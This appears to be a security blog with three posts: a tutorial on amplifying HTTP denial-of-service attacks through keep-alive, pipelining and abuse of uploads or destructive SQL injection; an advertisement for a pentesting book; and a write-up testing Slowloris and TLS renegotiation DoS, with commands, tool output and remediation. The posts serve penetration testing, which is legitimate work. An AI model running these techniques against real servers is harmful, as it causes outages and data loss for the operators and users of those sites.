Web DDoSPedia a million requests

Web Application Denial of Service Next Level

In this tutorial we are going to talk on how to cause maximum down time (including operational recovery processes) in anything that uses the word Web, this is also known as a Denial o Service Attack. Using this knowledge for malicious purposes is not something I am recommending or approve and I have zero accountability on how you use this knowledge. This is the reason I am providing also with countermeasures on the end of the post.      

What Is The Landscape

In the past we have seen many Denial of Service attacks, but most of them were not very sophisticated. A very good example would be the Low Orbit Ion Cannon (LOIC). LOIC performs a DoS attack (or when used by multiple individuals, a DDoS attack) on a target site by flooding the server with TCP or UDP packets with the intention of disrupting the service of a particular host. People have used LOIC to join voluntary botnets.[2]

All these attacks as stated in previous post do not really take advantage of the 7th layer complexity of the Web and therefore are not so effective as they could be. A very good post exists in the Cloudflare  blog named Famous DDoS Attacks [3].  

A few of the famous attacks are:

• The 2016 Dyn attack
• The 2015 GitHub attack
• The 2013 Spamhaus attack
• The 2000 Mafiaboy attack
• The 2007 Estonia attack

Improving DoS and DDoS attacks

In order to improve or understand better what is possible while conducting a DoS attack, we have to think like a Web Server, Be a Web Server, Breath like a Web Server!!

Well what does a server breath? But of course HTTP, so what if we make the Web Server start breathing a lot of HTTP/S, that would be amazing.

This is how we can over dose with HTTP a web server:

1. HTTP Connection reuse
2. HTTP Pipelining
3. Single SSL/TLS handshake  

But lets go a step further and expand on that, what else can we do to increase the impact? But of course profile the server and adjust the traffic to something that can be processed e.g. abuse vulnerable file upload functionality, SQLi attacks with drop statements etc.   

 HTTP connection reuse

HTTP persistent connection, also called HTTP keep-alive, or HTTP connection reuse, is the idea of using a single TCP connection to send and receive multiple HTTP requests/responses, as opposed to opening a new connection for every single request/response pair.

The newer HTTP/2 protocol uses the same idea and takes it further to allow multiple concurrent requests/responses to be multiplexed over a single connection.

HTTP 1.0, connections are not considered persistent unless a keep-alive header is included, although there is no official specification for how keepalive operates. It was, in essence, added to an existing protocol. If the client supports keep-alive, it adds an additional header to the request:

Connection: keep-alive

Then, when the server receives this request and generates a response, it also adds a header to the response:

Connection: keep-alive

Following this, the connection is not dropped, but is instead kept open. When the client sends another request, it uses the same connection. This will continue until either the client or the server decides that the conversation is over, and one of them drops the connection.

In HTTP 1.1, all connections are considered persistent unless declared otherwise. The HTTP persistent connections do not use separate keepalive messages, they just allow multiple requests to use a single connection.

If the client does not close the connection when all of the data it needs has been received, the resources needed to keep the connection open on the server will be unavailable for other clients. How much this affects the server's availability and how long the resources are unavailable depend on the server's architecture and configuration.

Yes dear reader I know what are you thinking, how can you the humble hacker, the humble whitehat reader can use this knowledge to bring down your home web server for fun? Well there are good news. 

In Python there are various functions provided for instantiating HTTP keepalive connections within urllib3 library, such as ConnectionPools.

Here is a code chunk to look through:

from urllib3 import HTTPConnectionPool

[...omitted...]

urllib3.connectionpool.make_headers(keep_alive=None, accept_encoding=None, user_agent=None, basic_auth=None)¶

[...omitted...]

Parameters:

• keep_alive – If True, adds ‘connection: keep-alive’ header.
• accept_encoding – Can be a boolean, list, or string. True translates to ‘gzip,deflate’. List will get joined by comma. String will be used as provided.
• user_agent – String representing the user-agent you want, such as “python-urllib3/0.6”
• basic_auth – Colon-separated username:password string for ‘authorization: basic ...’ auth header.

Note: If you are a proxy person, you can use the Match and Replace functionality on Burp Pro Suite to add or replace a the keepalive header. Bur then, your client (aka. the browser would have to know how to handle the received content). Better to write a Python template to handle the interaction.

HTTP Pipelining

HTTP pipelining is a technique in which multiple HTTP requests are sent on a single TCP (transmission control protocol) connection without waiting for the corresponding responses. The technique was superseded by multiplexing via HTTP/2, which is supported by most modern browsers.

See following diagram for pipeline :

HTTP pipelining requires both the client and the server to support it. HTTP/1.1 conforming servers are required to support pipelining (Pipelining was introduced in HTTP/1.1 and was not present in HTTP/1.0). This does not mean that servers are required to pipeline responses, but that they are required not to fail if a client chooses to pipeline requests. Interesting behavior!!!!!!!!!

Note: Most of the servers execute requests from pipelining clients in the same fashion they would from non-pipelining clients. They don’t try to optimize it.

Again, yes dear reader I know what are you thinking, how can you the humble blackhat hacker, the humble hacktivist reader can use this knowledge to bring down your home web server for fun? Well there are more good news. 

Some Python frameworks do support HTTP/2 aka HTTP pipelining , Mouxaxaxa. As of late 2017 there are two Python frameworks that directly support HTTP/2, namely Twisted and Quart with only the latter supporting server-push.

Quart can be installed via pipenv or pip:

$ pipenv install quart
$ pip install quart

This requires Python 3.7.0 or higher (see python version support for reasoning).

A minimal Quart example is:

from quart import make_response, Quart, render_template, url_for

app = Quart(__name__)

@app.route('/')
async def index():
    result = await render_template('index.html')
    response = await make_response(result)
    response.push_promises.update([
        url_for('static', filename='css/bootstrap.min.css'),
        url_for('static', filename='js/bootstrap.min.js'),
        url_for('static', filename='js/jquery.min.js'),
    ])
    return response

if __name__ == '__main__':
    app.run(
        host='localhost', 
        port=5000, 
        certfile='cert.pem', 
        keyfile='key.pem',
    )

Also another library that supports Python HTTP/2 connectivity is hyper. hyper is a Python HTTP/2 library, as well as a very serviceable HTTP/1.1 library.

To begin, you will need to install hyper. This can be done like so:

$ pip install hyper

From the terminal you can launch a request by typing:

>>> from hyper import HTTPConnection
>>> c = HTTPConnection('http2bin.org')
>>> c.request('GET', '/')
1
>>> resp = c.get_response()

Used in this way, hyper behaves exactly like http.client classic Python client. You can make sequential requests using the exact same API you’re accustomed to. The only difference is that HTTPConnection.request() may return a value, unlike the equivalent http.client function. If present, the return value is the HTTP/2 stream identifier.

In HTTP/2, connections are divided into multiple streams (due to pipelining). Each stream carries a single request-response pair. You may start multiple requests before reading the response from any of them, and switch between them using their stream IDs.

Note: Be warned: hyper is in a very early alpha. You will encounter bugs when using it. If you use the library, provide feedback about potential issues and send to the creator.

Making Sense

By dramatically speeding up the number of payloads per second send to the server we increase the chance to crash the system for the following reasons:

• Multiple HTTP/2 connections sending requests such as the following would cause significant  resource allocation, both in the server and the database:
• File upload requests, with large files to be uploaded.
• File download requests, with large files to be downloaded.
• POST and GET requests containing exotic Unicode Encoding e.g. %2e%2e%5c etc.
• POST and GET requests while performing intelligent fuzzing.  
• Enforcement of single  SSL/TLS Handshake: 
• Not much to be said here. Simply enforce a single TLS handshake if the malicious payloads are going to consume more resources than the handshake it self. This will cause the server to consume resources.

Note: Such type of an attack can also be used to as a diversion to hide other type of attacks, such as SQLi etc.

The diagram below demonstrates where potentially system is going to crash first:

Other Uses of The This Tech

We can use this knowledge to perform the following tasks:

• Optimize Web App Scans
• Optimize directory enumeration
• Optimize online password cracking on Web Forms
• Optimize manual SQLi attacks 

Useful Tools 

There are some tools out there that make use some of the principles mentioned here:

• Turbo Intruder - https://github.com/PortSwigger/turbo-intruder - Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. It's intended to complement Burp Intruder by handling attacks that require exceptional speed, duration, or complexity.
• Skipfish - https://code.google.com/archive/p/skipfish/ - Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes.

Countermeasures

Things to do to avoid this type of attacks are:

• Firewall HTTP state filtering rules 
• Firewall HTTPS state filtering rules  
• Firewall HTTP/2 blockage - Although not recommended
• WAF that checks the following things - 
• User Agent - Check for spoofing the agent 
• Request Parameters - Check for fuzzing 
• Request size check.

That is it folks have fun.......

References: 

1.  https://stackoverflow.com/questions/25239650/python-requests-speed-up-using-keep-alive
2.  https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
3.  https://www.cloudflare.com/learning/ddos/famous-ddos-attacks/
4. https://en.wikipedia.org/wiki/HTTP_persistent_connection 
5. https://2.python-requests.org/en/master/user/advanced/#keep-alive
6. https://urllib3.readthedocs.io/en/1.0.2/pools.html.
7. https://stackoverflow.com/questions/19312545/python-http-client-with-request-pipelining
8. https://www.freecodecamp.org/news/million-requests-per-second-with-python-95c137af319/
9. https://www.python.org/downloads/
10. https://txzone.net/2010/02/python-and-http-pipelining/
11. https://gitlab.com/pgjones/quart?source=post_page---------------------------
12. https://gitlab.com/pgjones/quart/blob/master/docs/http2_tutorial.rst
13. https://hyper.readthedocs.io/en/latest/

Hacker’s Elusive Thoughts The Web

Introduction

The reason for this blog post is to advertise my book. First of all I would like to thank all the readers of my blog for the support and feedback on making my articles better. After 12+ years in the penetration testing industry, the time has come for me to publish my book and tranfer my knowledge to all the intersted people that like hacking and want to learn as much as possible. Also at the end of the blog you will find a sample chapter.

About The Author

Gerasimos is a security consultant holding a MSc in Information Security, a CREST (CRT), a CISSP, an ITILv3, a GIAC GPEN and a GIAC GAWPT accreditation. Working alongside diverse and highly skilled teams Gerasi- mos has been involved in countless comprehensive security tests and web application secure development engagements for global web applications and network platforms, counting more than 14 years in the web application and application security architecture.

Gerasimos further progressing in his career has participated in vari- ous projects providing leadership and accountability for assigned IT security projects, security assurance activities, technical security reviews and assess- ments and conducted validations and technical security testing against pre- production systems as part of overall validations.

Where From You Can Buy The Book

This book can be bought from leanbup. Leanpub is a unique publishing platform that provides a way in the world to write, publish and sell in-progress and completed ebooks. Anyone can sign up for free and use Leanpub's writing and publishing tools to produce a book and put it up for sale in our bookstore with one click. Authors are paid a royalty of 90% minus 50 cents per transaction with no constraints: they own their work and can sell it elsewhere for any price.

Authors and publishers can also upload books they have created using their own preferred book production processes and then sell them in the Leanpub bookstore, taking advantage of our high royalty rates and our in-progress publishing features.

Please for more information about bying the book see link: https://leanpub.com/hackerselusivethoughtstheweb

Why I Wrote This Book

I wrote this book to share my knowledge with anyone that wants to learn about Web Application security, understand how to formalize a Web Appli- cation penetration test and build a Web Application penetration test team.

The main goal of the book is to: 

Brainstorm you with some interesting ideas and help you build a com- prehensive penetration testing framework, which you can easily use for your specific needs. Help you understand why you need to write your own tools. Gain a better understanding of some not so well documented attack techniques.

The main goal of the book is not to:

 
Provide you with a tool kit to perform Web Application penetration tests. Provide you with complex attacks that you will not be able to under- stand. Provide you with up to date information on latest attacks.

Who This Book Is For 

This book is written to help hacking enthusiasts to become better and stan- dardize their hacking methodologies and techniques so as to know clearly what to do and why when testing Web Applications. This book will also be very helpful to the following professionals:

1. Web Application developers.
2. Professional Penetration Testers.
3. Web Application Security Analysts.
4. Information Security professionals.
5. Hiring Application Security Managers.
6. Managing Information Security Consultants.

How This Book Is Organised  

Almost all chapters are written in such a way so as to not require you to read the chapters sequentially, in order to understand the concepts presented, although it is recommended to do so. The following section is going to give you an overview of the book:

Chapter 1: Formalising Web Application Penetration Tests -

This chapter is a gentle introduction to the world of penetration testing, and attempt to give a realistic view on the current landscape. More specifically it attempt to provide you information on how to compose a Pen- etration Testing team and make the team as ecient as possible and why writing tools and choosing the proper tools is important.

Chapter 2: Scanning With Class -

The second chapter focuses on helping you understand the dierence between automated and manual scanning from the tester’s perspective. It will show you how to write custom scanning tools with the use of Python. This part of the book also contains Python chunks of code demonstrating on how to write tools and design your own scanner.

Chapter 3: Payload Management -

This chapter focuses on explaining two things a) What is a Web payload from security perspective, b) Why is it important to obfuscated your payloads.

Chapter 4: Infiltrating Corporate Networks Using XXE -

This chapter focuses on explaining how to exploit and elevate an External Entity (XXE) Injection vulnerability. The main purpose of this chapter is not to show you how to exploit an XXE vulnerability, but to broaden your mind on how you can combine multiple vulnerabilities together to infiltrate your target using an XXE vulnerability as an example.

Chapter 5: Phishing Like A Boss -

This chapter focuses on explaining how to perform phishing attacks using social engineering and Web vulnerabilities. The main purpose of this chapter is to help you broaden your mind on how to combine multiple security issues, to perform phishing attacks.

Chapter 6: SQL Injection Fuzzing For Fun And Profit -

This chapter focuses on explaining how to perform and automate SQL injection attacks through obfuscation using Python. It also explains why SQL injection attacks happen and what is the risk of having them in your web applications.


Sample Chapter Download

From the following link you will be able to download a sample chapter from my book:

Sample Book Download

Symetric Denial of Service Testing - Aka 1 on 1

Intro

This post is going to explain how to test a Denial of Service Vulnerability without crashing the actual service. More specifically we will focus on two vulnerabilities a) the slowris vulnerability (also known as Apache Partial HTTP Request Denial of Service Vulnerability) and b) the TLS Renegotiation and Denial of Service Attacks.

Apache Partial HTTP Request Denial of Service Vulnerability

The target application Apache Server is vulnerable to a denial of service named Slow-DoS attack, due to holding a connection open for partial HTTP requests. Both Apache Versions 1.x and 2.x are vulnerable. Slow HTTP attacks are denial-of-service (DoS) attacks in which the attacker sends HTTP requests in pieces slowly, one at a time to a Web server. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a DoS. Slow HTTP attacks are easy to execute because they require only minimal resources from the attacker.

Business Impact

A remote attacker can cause a denial of service against the Web server which would prevent legitimate users from accessing the site.

Remediation

There are no vendor-supplied patches available at this time.  Upgrade to the latest version.

Example

Slowloris tool output:

./slowloris.pl -dns xxx.xxx.xxx -port 80 -timeout 2000 -num 100 -tcpto 5

CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::

CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::

CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::

…[omitted]…

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Multithreading enabled.

Connecting to xxx.xxx.xxx:80 every 2000 seconds with 100 sockets:

                Building sockets.

                Building sockets.

                Sending data.

Current stats:  Slowloris has now sent 446 packets successfully.

This thread now sleeping for 2000 seconds...

                Sending data.

Current stats:  Slowloris has now sent 500 packets successfully.

This thread now sleeping for 2000 seconds...

Hping3 output

 hping3 -T -p 80  xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
...[omitted]...
--- 192.168.0.2 hping statistic ---
10 packets transmitted, 21 packets received, 0% packet loss

Explanation 

In this scenario we send a low bust of packages using Slowloris and then launched Hping3 in port 80 (the same port as Slowloris) and saw that because the Slowloris open too many connections start receiving more packages than send.

TLS Protocol Session Renegotiation Security Vulnerability

TLS protocol is prone to a security vulnerability that allows for man-in-the-middle attacks and Denial of Service attacks. This issue does not allow attackers to decrypt encrypted data. More specifically, the issue exists in a way applications handle the session renegotiation process and may allow attackers to inject arbitrary plaintext into the beginning of application protocol stream.

• In case of the HTTP protocol used with the vulnerable TLS implementation, this attack is carried out by intercepting 'Client Hello' requests and then forcing session renegotiation. An unauthorized attacker can then cause the webserver to process arbitrary requests that would otherwise require valid client side certificate for authorization. The attacker will not be able to gain direct access to the server response.
•  Denial of Service attack is also be feasible. This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiation via single TCP connection and crush the service.

Business Impact

An adversary can potentially exploit the vulnerability and cause compromise of the confidentiality and availability of the vulnerable service.

Remediation

Man In The Middle Attack:

• OpenSSL workaround- OpenSSL has provided a version (0.9.8l) that has a workaround. Please refer to OpenSSL Change Log (Changes between 0.9.8k and 0.9.8l Section).
•  Microsoft workaround - Enable SSLAlwaysNegoClientCert on IIS 6 and above: Web servers running IIS 6 and later that are affected because they require mutual authentication by requesting a client certificate, can be hardened by enabling the SSLAlwaysNegoClientCert setting. This will cause IIS to prompt the client for a certificate upon the initial connection, and does not require a server-initiated renegotiation.

 For Denial of Service Attack –  No real solutions exists. The following steps can mitigate (but not solve) the problem:

• Disable SSL-Renegotiation
• Install SSL Accelerator

Example

host:xxx.xxx.xxx

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err

Handshakes 44 [43.48 h/s], 16 Conn, 0 Err

Handshakes 118 [71.32 h/s], 25 Conn, 0 Err

Handshakes 193 [76.69 h/s], 32 Conn, 0 Err

Handshakes 290 [99.53 h/s], 38 Conn, 0 Err

Handshakes 371 [79.16 h/s], 43 Conn, 0 Err

Handshakes 459 [89.97 h/s], 48 Conn, 0 Err

Handshakes 545 [87.55 h/s], 52 Conn, 0 Err

Handshakes 632 [84.57 h/s], 56 Conn, 0 Err

Handshakes 728 [96.96 h/s], 60 Conn, 0 Err

Handshakes 819 [91.05 h/s], 63 Conn, 0 Err

Handshakes 913 [95.76 h/s], 66 Conn, 0 Err

Handshakes 989 [76.02 h/s], 70 Conn, 0 Err

Handshakes 1086 [96.98 h/s], 73 Conn, 0 Err

Handshakes 1165 [78.37 h/s], 77 Conn, 0 Err

Handshakes 1264 [97.87 h/s], 81 Conn, 0 Err

…[omitted]…

Handshakes 3642 [89.20 h/s], 144 Conn, 0 Err

Handshakes 3738 [92.35 h/s], 146 Conn, 0 Err

Handshakes 3828 [92.36 h/s], 148 Conn, 0 Err

Handshakes 3919 [93.75 h/s], 149 Conn, 0 Err

Handshakes 4003 [83.73 h/s], 151 Conn, 0 Err

Handshakes 4099 [90.18 h/s], 153 Conn, 0 Err

Handshakes 4197 [105.10 h/s], 155 Conn, 0 Err

Handshakes 4288 [90.83 h/s], 157 Conn, 0 Err

Handshakes 4379 [88.02 h/s], 159 Conn, 0 Err

Handshakes 4468 [88.77 h/s], 160 Conn, 0 Err

Handshakes 4568 [95.30 h/s], 162 Conn, 0 Err

Handshakes 4649 [87.94 h/s], 164 Conn, 0 Err

Handshakes 4743 [89.97 h/s], 166 Conn, 0 Err

Handshakes 4844 [106.67 h/s], 167 Conn, 0 Err

Handshakes 4930 [81.71 h/s], 169 Conn, 0 Err

Hping3 output

 hping3 -T -p 443 xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
...[omitted]...
--- xxx.xxx.xxx hping statistic ---
10 packets transmitted, 15 packets received, 0% packet loss
Conclusion

Running point and click hacking tools for testing for Symmetric  DoS vulnerabilities should not be a taboo. If this is done then there zero doubt that this specific vulnerability can be exploited e.g. the sys admin can use stress test tools to record the performance of the server etc.  

References:

• https://www.thc.org/
• https://tools.ietf.org/html/rfc5746
• http://stackoverflow.com/questions/16909409/how-can-i-solve-the-qualys-apache-partial-http-request-denial-of-service-vulnera